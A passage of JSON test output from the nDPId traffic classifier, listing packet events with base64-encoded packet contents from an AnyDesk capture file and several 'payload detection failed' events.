failed","thread_id":0,"packet_id":1395,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3666} +06297{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1396,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":226638,"pkt_caplen":4427,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4427,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfnhAAIAGAADAqAG7wKgBstOUG56PJswWWcQzOVAYIA+ExAAAFwMDERBZ4hNO+msWDgPkTbcnaYi1Yk\/LB4UrGTkVXajLkc7smRuinKG+M70sD3Yfu1MeDT9rWbVUiWPypzH7BBGBjViFBjl7Oez5TR56jqsSaBTs1BDzR0Y8NqpLNffY+AiQYvPpuEcjEXsLWdlF9TMkshJwpc46zCMEHCdv54yKuQhF6JQnV3TWRR\/UCFVJS7JWuV6lKhzPq+pjCz6c9Sn5TGYiA\/fwIXcDj\/xSYH\/AMSwlGkwuczPWGASn8swGsAELoodbqtjswljatxdTgDf0WrcMSyLb\/sdpvPeHhNUDmSCetMgNbWdTX5AJcZahsyL01LVtW\/iM79CZRQAfXi\/7Qrf7P5h4izKWT97zDkzJ1NB4XWCgiaS8hhwaRSUm05BVedSVkNn4SNhvOA6FUamNB1MKBWyRi6ZRDWZx+lNHY1XArTQlFy4\/k9SYzT+uP042OPuYMcwetCESp+eko7XjUW5fTqvg2zJFZUpClSRnNyi9j2qdwvD+jhQuL3NHPnJVHA03q4Gv0pTLlsGkaKqwCAueQxQU3hay4salsxrLJQ5gINYgy+rNvF1j25aC2bKtafqBgUFNwsbATkIndJuF2f9aREoBUYhDF2d1S5xmMaPb+FKN5u2+Bf7bk9ReNOSoyCEKp8NxhRZkWLcyha1q5KUjFUcvV5iTSQWyQDbjw7IsmGU9ikNmB2cAQ\/V8MrEkVpErYGHte0e4aEtjZto82lH01QWBQam0xtLo6URM1bKzgl2KJh0donoJH1y+piZTCWOjfaCo8BacnI13ZWxLn740RtfzNN\/5FUe1ndLNCJi\/K3oeQtmdRvB4KbWzrB2SrQesoZH6ciOLRviPo14MRG3nWhmgTYgiyCDotsNdPl\/H6I9XWuFbTG7EgD+mYVhSEVMQXOKbL1Yg+Yh0MdvhSknyM1RZ71J7TWtnmdd8EK1iDhtKhpUNtOZ+agPd3jA+WWJaWWqbnzLUwsrxrLxkTc\/tFV0FNulKT0064MeLE0PCwZlV8+QG+dqlMiAXvU9EzrK1+L8irX+8cTXMz0av5dpFc4gN\/ALzDHFUxZyW357Mep5vjQUKJiWU\/r\/gAz+rr4C2jRM1uGOa1Ec4kBRJxSrfZ3SaWvGNNAFAEUJvH1g7gvgTFs8Suv0RWoUOkyfLoAB\/Niz2AqWYAdSPeu\/OwpdWcjgbyZPFiETJ7voeDXu02VV2tJYNM2MetRSbxpq8dqPy+6Lp5FmvsGdi5Ik8robUMnNg\/bLWZwG7el5clqt62ys\/f6tEmnf76JKuqe8YL7N02kOgy4Tj1q+E+WPJ\/ZZFG52hUco9v+mrY\/UmopL7CwbmR+kQ563T6rYSQ6QNCRXXvXIOux6XXikWOogf+o9+Msho1DNIhgwAVB1\/puqFEBFMU+afmmC2GUJ7686sHNtm8H9lcb38ud9kfafO2L1AKBjvOXde0PXMA02jTFTx3zroqwrcit46Q+vQwVIxaEsF6Ub3I18rmXcQkVgawsAoHwvPbjG\/X6bd0dmAgWUlAmwZ4mKqriplhHm92yQgB2h7jv7QkD8XDlxFsVTQvy6FSO7iXfBG99xMOHOOo1wPFCok4GevA538poN6H+yZGKI1E40hxOBz57MC0cdXf2D3HzgNfGzEORyko1VRzUfonGk\/G3stodtfkg0rzz+ELrAyAavevVUq4285F2TgGVcS\/g+iL+On1W+ZeDb+lMPF+OLgvkFRFWbrnf1YbbpU5kolyTukYrIuP3x\/w6Y9HYVmwgmwQva7bE9oIQ1v4ymzhIj6wi7cDhWeRD\/BDIg58HYIoKoZEakm4wYCYDIrI6g0hNCE1ouoN+JUYgj0ThAsjsPLkL+3exyQ+guAV+BZpI7p8KB9OS8PpY9D4Cef8PtbRLFJtrWO4nTCDI5LxpVvD9Ny5Rs+l6iheLkG21nqJll2YszDh7J5w7h8heghLdQdgL+WkteLiQNz56OJ5OxKDJwIiBFPRcV+bnvIznc4+pmsVK5c2PSd42gSXa191XpLcbnlFdvOBEeg1jUUFt+ygQ\/5DI\/0Fzlc4XWmjFSCpkDZXHD+E2Z\/QOuiM8cTzwsSgRZrutTZRjMa4qtSjx+se759F7l5aZe+6T4h45G06+J6uRFG58aTIGKhk6ChRl05uxyE\/OL+edMToaVL9ALmRCowJ1GNWGIujuvf0QgjPlvEzfDb1+cl392WhCtrs3NEnDVE97+ekIRGrX6iesuCYtjPi+YtHyVxzcv94g8uogsrc\/s2aww06qg1eaVxp1IvrAP2y0YVOMUsK\/rIfrBdeJnFC+4+PZtHu8V8ALqr+iKSEwixlphE+rlTkisP1jjEyAwsUuUM44x48kCVSGptZWVdXWpNMkS9yTMBmZKVyzahbHghGfNmxxx\/qR2Z1L7GCbyGjpgqTCgrr0nwSigbc+skNX0YKwzH7x8yqJRTJwQNCTKY5VB9M9bs2XALWfmxt33hwHWjTnxpc4bcW0L2HXHfdH\/VWJcG\/5oZmNWptRM6B0e\/+Q34hqA1Zoy\/Nngi4koMyWjpP0Y3fbBrJlQa2tHaZ\/XcpLVba\/y2oWBDkRCOR2bCbgkxC3oAtQmAhcCfbkYO\/FvDSHG52yVrar5\/f0oRyUb0yLpSYsFW0oHMFGgHZABU7IRfBx4IkS0nGBMyVS2754tsSkpzSjj\/u6lZC\/hvTPrmfWpCn9PchtcLSEI8n2zgYYwGx7EZvUSoXin7P1D\/0QphxIuMrf\/BDiCL9RMVyTt+TYmx2+8rKfh76tXC6ewnnQTcIDDaBtemp7qJzplLwES7GyCoGHlPAJzATUd3RazES7AMzRDKymCvwVzerHrxyxvOQjIyH2FKIgmn+Z\/qnZmYCPvEt2EGGxaGmHlFNmuKWTuYBmHcGIYi70hSStgtM9tm6eb1d\/MEBJNiunVIK7ofcEeDZwz8rzyWjdeoJ7qTzZUYtV65bMfxBrByBYZUcqNR+HKOIO8U0XroGFMVUWqHikd2FcaP8nR+gquXnPNFHAOAxLUISI7+AiW++JMaSzMic6KUssKZ+Q7bFaveVoZv9jAsM987TxZGTvU2STfVta8GASZA+S24SQlGEEczYDDzj5HXxWQn6K9uE9R1i+eZL29kpi07aNK4w3j7CtDZBhx13Ct9p\/iTPCAJBc7J++zZ57LzmXsfjB3a3pvi002aTQRbUCqh4V80m3NGZAHMoWi80V2s3PUleC355sXZf2UJ47M3Demd+IJHjAM\/Oxc0dCcOu\/veRjZZ9rcKI9SV9kq\/Jz+paLO6yLjeK5DIqt8ttWFFifu9txyiF3oMRHtmFNr2qgLRhRObRyao1SfEYnToX4hmzH8J6Gbbil4YUdJEjOLTrAIFLp16v+abJdMRrywPBIf2HxQ0cEEBiyVilFF1FQWKI06\/PgcwApMDJYzUoBowz++2KckKxUUL64LYXGyFjYIyz4Qv4XWLgzrySspseoRKOyMbelM7ud2WfFkwI7EpeRaMpqJYkxY2dZK9ZFMWeawhsQ4HZmpt3ogzR3w1PDCuyCBbYZ766469h9gqlw1ZEiae5N\/fx3XisfN+05H24YJ56Nh4jr5ySgI9vY904DYF7rvgnU11R6AJI3MGzzUD4VLLlDYygGbPY1\/3+lWnSJrIJYkulSEmKBJT4j1ENfTAFGt51umBqICozOqde3Y8quGjRLA7S3ojxooc3Gw8QVpZqifPUke56GF9flQB6R8eoVTY7GOdd52CWuz\/H2PD61SBrQvq\/NqhF5kZp8yIJiEeMZu9vHy8JNoqz7i0TWmQDQNw8xStGnQxTO31zdR3UsLVoTz1WY8WoWhQO9lNcM1TPZea9EflcAiKknoXC0RIHcTCeUP7yAXuaX4Xm3\/b4h2+4QOWZtR5vqUvQxFzlRHSBWG1XFxzpalSXZOZ5d6thZ30l8by+tTRsBaf4KFxf8fEYpa9PZrJl+2IE0PdkegEkv8Mb+JEMJtr4C7eAWOJqkxZzHRuyzjuCod1Nk\/uj9nu4EkMqbevc4dseWHR2t6ZSVB88xfrcVqclGO+XYGeUxw6Cl3q5zxKQiSMnlCcMNT\/azCmBn1hpKl+4YPWG\/z+1upyTLJJqu6t3evlD9TtAU9nB\/6Rnf1UndJjEj9cCQi7LmBytN80h+zwSZYxifO+pExqyozLoLfBaJ5igc9BTGc+SwD7rqgYKdSuxkpF0Qneb45rwEwH+R266E3cnBXj3dgdHei\/DMzPRe7mVZSEZdOdYvEPoa6ZKcDte2uItzXuzML+p1TbwpolbUmJGwS+x9lWGKaWkrBphAaWYobssx\/IlgkDVbFbXYs10R1GNCsuA94iDRyym\/o19HENr7mB8ifaXCtPz0l3QepyHu2L5ZWMX5BjX73\/yX14U9fwYMBmgXrS7UfcSkB2Jjb4bGEOlO9m\/dfyl\/K7fqtl2TybNkvmaOZsNp7ZpoEe1QCwOKzi9SObAdOgQ\/HdnDt9bpyQmFmvUaBr482JMIMyW33TPuCU0FvWkbyr+30y4Oy5V2Yh3UwN7AV9y9Xa5VoQIRoOK8YMr1ewC3eTGPIal8+H5wh9y9HFCL2TLRAtevJ6ghj5RIvtugFfGu6KXmP2H1KYwiLWzcIsNufrK2bbxSps7DWR0dP8sWM2QQOKrtlXkJxxUSOgqrl7WvWlgjFe0Xj02wgibzdlzwmCcTAroWCOJtIh+Cq2KxymrsUrbsKLB2gDdZq5Z9VUgvueDTdGCsVOLi\/ZfraAnufFxkeFTyQPJprBgYbRJTwJ+ea3npbME5fR\/YscInyVdz9tL9fcO1ReH5siKatlgxIIDbLtJcj3KZUIwicxMSWlXW1OdtBTtXU1KRpe1npplJXnLSD7rHHb6ThcZzntnhsuzLRUHyFB2XxDUo65c6bZCp5pxbwXnwMJXrRU3xXrP08DfRh22UPrLq4ka35TX1QyV+z7xeWzyEy7ECy11OL0r3paRj6wY9HphhiF2J9VUYavwZuR5ZhLE+Xj4FJeLOfpFQ3\/zMAtpOUxSbv2Kb0reStksRzCFDsMXRq2Hd6AsfjsnaccjYW\/xdtmKQixtTZO8yV4CY4KxoZ8REChFatVAQej33Yd46axFgCY1d91A2kEiOqToaxn5VVjCMjC9ox3H5i6AL5Rre2zUo6L4gev2bg0HKo0kr2eiCePxJW9BMoCymFu\/fTJE5\/tDbqX6w7iaeZV87toSWY8bZI0FvydNk3NYzD5mURNE\/PY1Tr\/7TSTegmStxjMmc578ByIG1nF685QipHk9Y7DnC4WSyY7YkEiGs2FhT3TYdCzoyr6+5B5pkw03gREBV9wD0CvOCJBoR0JqKPZM5DsEGbH6q+PS4NrD\/NYwXCQfcYove0VXm+iWp3eMqbX\/2E4fMEyil\/NG2vvuccC0pxxBR5b4owZastihTgC7oYYcgrfSqCOtgCb3zULSY5m3Yen1iApG9L5cLibAZdzt2YnEnoJL6weNeqMfccGKbntFJRNxctumPlsG+Wj\/Ha6ndZ2uCLyGfS+FyEJoYUtXBs\/rNf1Ti22a0uCyEfT+6KadLflSrFbcPYB2XVKRoOLU9ifX8YaohryWEnFEC+8+x\/Qsr+bE2Gsd03gVjslKMWQgSdWJx8bgLXG3ds5iwS0wJH0tUEgVWiuf2SKCfPsXKXjaqjM5982Ueqkg7mDrGBGRC8HzvM9MLgxpUvS3KCG1qnHJ4ocBjdFdPeDUQmgRV0sP7NDQFy7va27UVOaXiRy7Uh67\/n0UskWbmi4On7iZvtfjTQN7CiGswUiXXRyK6Bb1EFQ2iq8XFh40BL\/N5QbU4sXtFmtuR+IEeVuUgMW6Bzof+aAUyTX312\/cXVSCPmEOh0="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1396,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4393} +07830{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1403,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":227982,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfntAAIAGAADAqAG7wKgBstOUG56PJt0rWcQzOVAYIA+ExAAAFwMDFXlZ4hNO+msWD2XmszrqK0MNd245XPJguqRQlm8wYr0qpmWfRMK7NwNeNTqpmlLhMWpeUQnnk0c+jslfhMpT2TulDlUZxZ88\/dqnArkUdvSxjuGdX4cgw7\/aVBCvcshJzF9u\/DggDSLgn\/yjsFZDLqRzEiQV93n1UE6E1OTFNxBUrCUdhK+xHkMXDWJ5EvU8ajSQCXJ2K4TLfT5SdRF5VaLXoPxghGlKR3XSZEdKXsdnTw8Pl+uY9OQ\/bm2UwKgH5ST1C5KX6NUmVeMtTmaHkLn69\/a8jCmQptih8oAEcwFSuFNtqX5fyRLPlHToLfntBtnocNgT178vHnOMRj00WytOcJqfHu3qFdmoNFp6ZENBZuux0bXN9yYGbyyT+i2GOFkD0a3L+1bqpf8UoMFo0Ef+N1n+mf3hhQyxn1aGc3fqcRfJ9wNK2E59asY+wnAo00KDBQW5fUEfCoAQqt6Tblx82OzfllQAPX9bRHaQ2kRL90Hwp8HqMwz7MQWNOL+ah9gMtl3KacXqOqnDTg9B9uqqjAOkrR8zCdpBYHyiwNVPMbrqWIDZCY3dsmxrHHLCJlDH5C1yKZokBdPyTVnnqF+HeoxYi7WjaUqp5VNWQMLbvJUZ48OnzQlw7Vo3fY+kSC78WOBUdSwdCxEcuLs+zioaKWT12JtJ8BsxNce\/wZUsohFR4TbjxlqcrOIrDxsZkH5qzI21imu2UytlMpwO0OxbItoyqK3CwAnNRQIdFS6HHdJC3bxQyOUKAbD1rYvVAoj44fOiM8eMXBpbjJnfbn1\/KhRmip3mOjoU4qRkQOf34cXr6nDJDaDuZZ8MVSD5HpNx1KIx3YcFG7Y8FWtnGPsLeWi8RbvYDnkusOtrgzHG425OampmnADaS6XVwkMxubOLWczY5L2QC7cSgjGWqsdpNuE7LzgsnSrgcRwebO+y3rKy9GkBpj8ttiKKLRuYjbLo++AbuI8i1QLBf4wl10ZvDPJ6O3n3u1r2dUve0743gk57XCJiPkG8zk4uHibUOMdSrAKVk8nKY2ECUX8GkzwD+BOai040bvRjCL\/szOaZ1eMdyCLdIdWuYo5TW6\/Rp21H0V0Yt\/kBkIkA8m1bgN1NvfgrFH6NjtsEpCVl5Z3a5fq24ps8ED1ERPcl8cM4pBPAbXGeM+T6aPzcPPtDBsNoCL4CWNCQJy1AaX0d0bPSXizOLgvLksuZhxSAVxyK2UUupNgnbapqMbu8VGQEqOD6hckyYUMZTWxQD3uu0kseqHUIyvVGslqrhB5fXJlVNZIFfmV\/R\/tcudKQ9HligxqBNf0Vl\/apv02EJFgmbUq+YkGTDqV+b98OOhDFX0QMq10xKqzAX4tqHUfvWnFxxk\/JWuL0puCBTvzcDZcRklgPiO+3rNCSp9aVPNiEfSk3WIEKnJXQppRj+7bAptZSQotdWhDP5vbfTjmtOoIKLCzHYezNEPXJBPWA74c8WZq5MdWTJq0aj+xJpIEuUjtxsj9tnDge0TjR4vkWR0o24wQrVBipRSUtnGg9Xb0QHOdyKZrbxVW0JOwSTG8dJZ8pmwK01EYjVX4vPI4Eoe5J6OpnfLbCDNh4mLjGBmyGu5a2aj5KYJ0anuu+yrzAcwgKYm3PkA11NrXCUOJf0ZSIOPlB3Vq2n476p0p5Xcu8XgleeSMCgavFVMtNrfSExmR8qwniexsadUz4xefRHxx1IPqnkIBxJIlp5ANGX9do7TJkVqviDeGSK4gUVLfP5zLEi69snzbb3w7k\/DOz7qZL7KFfgC47wlmEoLTY6qm4uhO5+i4LZ9Y\/N7E\/OJvvJKllY3ZR7fzNhIObWqwarPfWpZUkl13n3w3RYKa5N0DgEwtQZ\/Z8KkpmDkRRzPsGx6m8VRXbtXjmH+sMTjEcfruWqy\/2KTeapQxHUY\/bUI7Kk7y1jvLn0w9nF\/tHyGbTZviJUNrx5I0BEznNWK\/mqQ1i4RHXwoGUeWbkpzpi1xayJ6v94iNG3rsMVBmx\/XTQzzB8FYFb39+v2SldXoXCBPzLrSObOpV3r0L8BjazTnCak3ehqJwWLiJpl51ZQz2ag7eSniv2sr\/4bSjp0Bk9W0FavNzIktXlM0d4xlesyZGg6smHBT\/khZL\/2DKv48npg+DMiULNnoibLsuTkJEaAu+wUa2QoyocaX2piSaMrvq4OegKlhzkta2eSCapNOaEbcnfvNG1n5Fo7Q51XrQlRJu8NKLxwrc4jFzGspVVb0\/PYat07Hs8FDThl\/XRpjiHjOa1BsefTl6rItft03WSVkwCZn0I9B0lDLyXVAyAEUsDcSOXCEPq4VTZHmkhqb33ZfDyUiolKx0e54Dez122IIXfto+k0l2+3aB\/iMyHw7k1lZCfmtSqXMbnA8eXK4\/KQUMDLwZHs1nO6Yp5s2zih8kh9N2kYMmW6RdeFiPuCs4Ovw6a5cEOm26D995xG6f9bKSfgIh4DtcWTdaWPalJnrHx+\/8hlYNOa8Uxzn5w8wsuS8LYw+0z8lKn5uOnnj4twVx0duMeoza+wsKPVU8U36SPXRohSUX1JObUxuWWrbngTZFjOSy2xyeTQcUXql0MdBz4EOcZ4+Be9vDAB7QYiaXP2LS8PNRSClpJn7mjxHGNPVD+JJFkMEZ3ZLvjTew+UzLjdQaCI1KQvQhNTVeZC3a5TbqimoXg1apR7oIiQqmmOPG\/SblZpENblQkKKt2PU3kiwCSPNQ91gEu6+CRQjlV+23\/Q0yWq2Jqe1kF\/L+RmdWna\/dQ8FmB0\/v0\/prFi2e42EVEqLpnMY\/rNSJRHOhqLE49Vt5fqq6a8z4wOe79Itg42cNL3aEXUGT\/EXqk4ZiG5Qe0zN5ic4Ptsnu0Ci8D3yoKenM9JKDFkCEiXYjaUV6QbQaCiakX+8FMdoQt8B9XToAdhuFKCMNpNph+5xDKZW+p4YjGIEuA3QM9Td7Ril\/5ThsV7Z0heAnwFEMFZtqlEeXOIxp7cGdBGBKNHgHcfGqsfC6efUTW4BlPpYCXRXwDzzmhGJUSY2f491h+M3OpITExQMV1MCnzQ0L39YvQp3JBdxr8rvna0\/le1Rna5FC0GvendIyVjWhLSIkt6gZe9XGbkY8oLvLDGgpQWMDPL5YKi7KpqotOtsOIyTItp+xpX\/fBG2jBXrYDaU\/cFqUMiEq2BZjhA4nLmc3m8t5Pz8mIO529\/TvNN1Zt7V+tSTmqtiee0ZY83JNcXu5k5yn7CjCi\/MwDDOB7iDK0wgKNFtgkVbSS5f5KQMfEKdUiSnep4e\/eK0EACISYNAozE1OkRl2jLbCAecOM8xLH3g7J298PGhXnjs1xICMYjG8L0CD\/mBjIjub9oMzqjmeZ0rY2XFR\/chkChJoIKz3xHMfawA0oY8V4U8P5xX4rVGnN9m1KtEpUWc7dfJAmnbRJX0l5cU07u8Ui4tBj+1h4Gg8aFKqDqDhJM+7PM2gzNt46bRe1Heo3bf4zetcLIVxsqLDJgZD4oT1qbnRXHLihhNJySgqVwtQ+UakkNlYIBPhjwE5ABlrNPPQVGZX8e4WDwRzWNKLMzR40ieHmImwV9xOOaEetvCIF+Ejd97xrXxs\/U9NEVPo3oDp+CsmaCWA7tl7nTGy5JmeYM4Q+wDYtjT4K2fZApDJD4ksvJpCMGyzJvHiW+QQQi5qYB\/OcSu7Ap9m6tmCfqTJMQZYDZ0CjpKfCHnbjs9ost9sN1h7iPhARDRMf+cuZmdX0umpltRX0RppdL1Q5a\/jmQZz9\/ExPvpF2d9ka8+UK6KbnyY6XRgppzoyfGmkB8wDcWgu\/5JSERNfN3Yw2SE9zn5HaxAqP6FxljcehnOpJd3c292AsyD8vax7AUmXUyi7O3vWLphg4+SgfQx0j9QYmOmFQGeemSVk9Lc8+qFY66ywYgYZ0UFGggVLB+E68t\/IGoFLLQFmi3\/jDrbeB17UjWFzAMjuqZVli4U52qc7YQC9QjJ16irSqX2sbilsd8oGrQVSUppx6Jrhkrp8Z2z9llf2QD8369\/MmBkxsJyQAkExx2YxS69YYXbRPRs5ebEUPiSbu1Zd9hSjRGCedj7YFDrxvX\/ayCfZE9d2SiIhS+Qw8h2PfEARhjwt0eFhxCpsMs3KPo7Q8M2ljyYQUTZHyjguIN7geCqAKEjY2BXeLzQOOosBLtO8KyUFowUwSc4aPA7McIVqHh+Nkn2\/\/5cKG8ObgPk9Ruq3v07L9nYO+z1v4xhNGoaLAwingFcmq3x2Jb2AiyK9pP3o6PAKUvSIsI2Df3cwZOW3K0n3ap1VaHb1zNgMp3n5Duid+jKdK\/57cBoZoac+83wbc103XU\/vUyvXoBGH0fBFmb1QKNa9mr37w\/R4X69vgTKMbrXwfZgS8akVmgUaHYhtqrUP79KndO+GnP0vGuJE5wAiY504ia352bDmQsNfYFX+vvyoCPMRxwaQyUE1nvELWmQZfA3btxLMNnI1D7eT\/\/0VUNyC8Cyr95IfKBFNxdmRQverSFFwEz5tEy6tVmCeWvE15qvjSgqJlsLD6nkB2Z2h1FPY+WtgUMnNVA84rXQAyYbeNlVHxtaUzTA+q7ftyCBWEksxQRFyc1jz8Hl17uQGBzFPFjzRoHR1cCaWnFLXaOtSZaQClGABHAYalwlJI7m3m89yj6X9C9SfCBRJIy2twDGffiHXUTgfob48jVKk1l\/raNlZl\/tmEQc+ejE1\/8VnGfolVwfgJIxNpChExUhAfq4vpzCQxJ9XDrWlAW0gMAwL1tUXY0iak+v+jl6WT\/Ww8ESsuHvG6AC9QYMdT0SJ\/1gewOrd5GBX6JYJOul9ji+yjJBfGIz\/UCypxGYqTJSem0e+7gSwRS+2P1hH1i4904ZwtJkN+lXxhgCdeg8ydMLZq8U0PuadrK+vIIPjWEzYF8HU00iIgZ7psG6AZ8cMW33utipfnKqMhQecCEvFl218cVT6RPyF5jwJD0W1Kaj9TZYbStbvtS7NwuSg4\/\/HbcERjv2BrI3WAelS69vvDxkg\/bAC+RjiNlkRsjfg1\/OLrUhqfXSXG\/HSiS00AYg93rCHFXv+LaadbRRyMWkrOaHTC2dwSxNdcV7szqSkPpEtquYHxGvwMprzVino509ggEqDy8K2lheiAELXbo6Ba+xK2NVv\/c1VnisVC4j0DGTLbK\/RO7RVyWf\/lvkTlqe8++xlRw2xt\/PZbZyupjETrDDXY0nzAMIISApOZOzUwOXo9tSJPpdXCPRrKLXS4xFcU3O4T43AMT4UmOfGdoLf0bk2GYdLFCK+Hqudl9Sk2D6NHteBOPKp2mJ5ne6b3740rMkA0tYK86p6SjI4s2s0t\/SJfMgXhRmP0UL2DdzsRRr9KFp4szGP9ksCOEahGZZkJsuF0YhPxKJkkUoq1ruzIqP2zMGCl6D7F\/\/NIG9ixD4Df59qGyuYShzgzkbzfyTA\/HVS0b6I23pcz5dARFeOoXmUuniyzLWYBx+rhqkGmqJfIMJ2+wDPFvociMLFweHSPX+wgTW0Nuzk8yEcaNNyJM7pLY1zkL22auwwq\/dtNGvIqG5w76ziO7sdYoMv9npwTB2DtqWO4afIOUC61tZgR6zUv0YTxprQAdMhQCMqxZdC1ORJl+aXMnutVVW3EEgZ7aEDvnE4TvWjD5xp88dMgzpFU9RBF3q5D\/RoFQhFd8f1cK\/TiaBm\/TV4H3iJTQszcqYFDernYVWUzs6iXEym7kzPKjjsL0a58WwOrcvEDVJpdMuCKR+IBLw0k\/8yIsENarDXC6PGhSSFTEHezfX1O9K3LotXiZ3A5YZdGR\/iMX2gcfYm9Q89J\/Q8Z9EljptnrNnNBt\/qhnPMOg31E6tab6sF+msDRG3K3Zz+IXo2Z6BBPcL2Qtw4Q6j1JNnqBG+U04HsecC6HwBPc3FFdmIzoVtOZeaISpgc+bFpU4UNbIUVhwOOtEx\/DswugIK6MFTyQwiqlaIh6XALdZVtjwVEia\/0KijjDemzy3JYnVvMdvb8CdxWRzzxYUjgtMjt2JcRyX+leJfcp6QGl8qXe1XmUVq4kOxdsU4fEey9qTwV91oeP5y3PpFo5iNhMWZp3+S+SFjEba5bwjZNojKS58HAg5ppzugGpgnFhLcnI7LAaXrY8OUNjxuif3Dy8rsT2AXU0HGoMZbhcGSCHA9iM7P0wmQO1g2b9QMH5GDjq2jpasLml+\/ctsAexktMSyu0YaDGZsCZHqMnMwV2omcYC8jTb4OJTqeHECjaCk2zHQBJIH0N67Id0CDR6gwQ2xG8DzGqCD+juZ7JFferS9Agx+6huLGPVpW6g\/HyImhYpuzKd5Y4tD0F89l11oUh7UVUVvF3nn2qFYQWT9wNdxiPpdCIH\/XpsR9QvADeZLr5bjAyzhcF88CnkVtOF9Rkwp\/+7\/T0nuVXzCHmeHkZQzO03XA9AZoL4\/Lm6+gwaMXlFHyj\/hUNIUVS3bEygltU+mPQPtX61UR\/C\/hq\/eaAe6qm8bkSQcZ0Rkl7+zqASiFEk4\/G5YjcLl4O9Y\/hTAoqvveHbKhTE07OBL0vxe3UMbyZi4YUH4uBpme161VO\/UL+NooqEnFzQc89jK1rOHsC+pjTn49ErfljWoOIFAIIrDwikayGcPm2Zq12YeOBN4jfO542bGXPtl5zjWnt7DnfOtCBWP3XvmBOhx3SiXYN7VFSkfN1QK7y4QGMe\/E94FW\/nMdVHMaRJWmF0jHtD3d2oWH9k69ZwHC\/l+uzObdos6UPVCaP+fcTnKFfa6VVkz94vZ\/CopvtgC1mwXqL9C0\/Gim5EnzI4N8t2dkTQucemFUhXLMCk7QUAhZUFMMOdK2X9aacU3cze1tfv3pqLSyqGKKNbX7JgdXNXrhAnEjj6t4oZYlY0s6Th3ISSIbyUImSQ4T8Ym4lj6z29F9ExMaSRNKYWz9JVyRefXlKDnye5AUcIKGhbJ\/K0ZmjbXcTaT8rf2wk+PtHQxDgVRMSCaiq2J2D5gv+PIxoPEmtCMkNEjy98mF7KhTw0otJghAqNmmJtnyV+2yw\/sS0e8nssOZr5NfEq7dO4Ng+E9sKW5GGa3CkWaS1g4pwwc3bcO0nlkcjTKiKe2UVZhh28a4SymmmLW2dPxJvUU3h6w96BXsfSH1DVAHjJS96yi3ZGwRwmreVFqqABhUoM9YMCg8GdiZq1i1Es\/ZQkBazorfeDR1ruaGUK\/EpGXMSXL6xWNgz1ppPcIfoaopVP+TG8jLJJJPybHxUjm6WwlfIsz10eBM3bZNAty+wz3+X89niqVtRo6SiE+FlAuSg64WjZOL+E3oVZWow0lJ9uJwL0LkncavJsZwdNQUCNQBI3TvZZoMUOMJRzJJq\/CdaQ53nevsS4s6tpV"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1403,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +04953{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1416,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":259286,"pkt_caplen":3422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3422,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfudAAIAGAADAqAG7wKgBstOUG56PJwIEWcQzxlAYIA+ExAAAFwMDDSNZ4hNO+msWEzPu8Lb\/XX5IKCxqYXHFPYqpVKjoj3qhh9ZAkgxvpr9JlZFBrjiZY6vCv5zgeovHxFlqrKeaUQEZqq1HfOjy3Tx2YL+tL9gjdu7kjTfO6nrClWdbuhtn00AJS6UdfuY\/q61MnqsmZ7FzU\/VdwSPUK5EvL5kEHqGedcznIVN5RkImd4\/skAKV+h0YMQTtvEQ+LphEYT\/NdUowSlYeAULtI\/gIRj5D+UqtYAdpHUcIjwtwobNi\/oldtX4pAU7RL\/w2EpYVm25W0tcpnN71P\/vII6Ih1E5uOKjYlJvD7tz9aBV5ACZNkdpnuH6myx614OWolYqHlfxhNFK6xFS0zdRP5J06t5sAQFKw6m+Tracx6we949MAeHCXX7IsKJJkFO5xLMEQ4M427iAyg\/tuq2UwNpyhuPCnwN0OBpbQ\/SOHW3Y2cimGc9aHxRf7832DTK91h+poDSCK61xxwpzyNh\/vakGXa86ofd5w4eyjp+V8NzhbMZ3gRjOjT1EQYBw6D+UMwFh50iFaqfXDZxwOd11wnIvxSgoj8VHCg4M0B2M7LPPPXo5kGDTcZKpRPGeqaglRUb\/VATTrK36N69icaxPkfUKYtdjN+77NAkdVuvGF0NDDUKO30f+FsDAtxCl1eTavq\/Tm+7e0as1bNxizbxM1fripMIHdm8vk21kRqOehlKYUU9ALqvy+WQ52lwbR3K+PmhJFNwqyWs5ybF4YSPpzIFHLOJghcE2wfLSvisssqzPTNfrFqVwLXxDXTk1JUnHtrvQCGys\/awetD1fQPApUhyBV1mPDEt1Cgo7hWYPwFQWqfjyf0\/ZXIws367pHkbwAA1J2kq9tr6l612faNWkhrieQg7Ms3VNtc1R+7woHV1iS6w8\/52f8Gmlzye3oVmTlbnLsEVem20SxVZQ9DsoC+fv\/hPLMoiP2qK1ZRF+qkJSkkojtXkmR2jW\/xx1W4pOpCphqs4GxZBe49zEqL8iNUFfcu3v4dLuBqfJ1O\/DHgcsjcbB9r+ARHDtIZDGy8dFVr7C8bWjCzTkY+Xmsqd9AZAp3UBIZPNYyf1SWfNR08OpdiCt+joC4tuRvnfqAyDGR9\/eyMdjspLxwagHi0lyF1Ke0jFiPZaisAKe7VZXDIrd6VfrEjdiGpCrBSC+kyTlb4mqzIboIbTVC9woBb\/CHCEXFJnqdA0Ey+7v+RfioimZtjV9X+heduyfp2kIeVbyatKE0Z1P6\/UwlNcEjpQIGMXH5KNi7IHEokWeG+mFUHwSQlXxhnBTSnKTDI012gQSRMevTSwQF8fvfJeC7KeVfLkr2j2Yoou0EG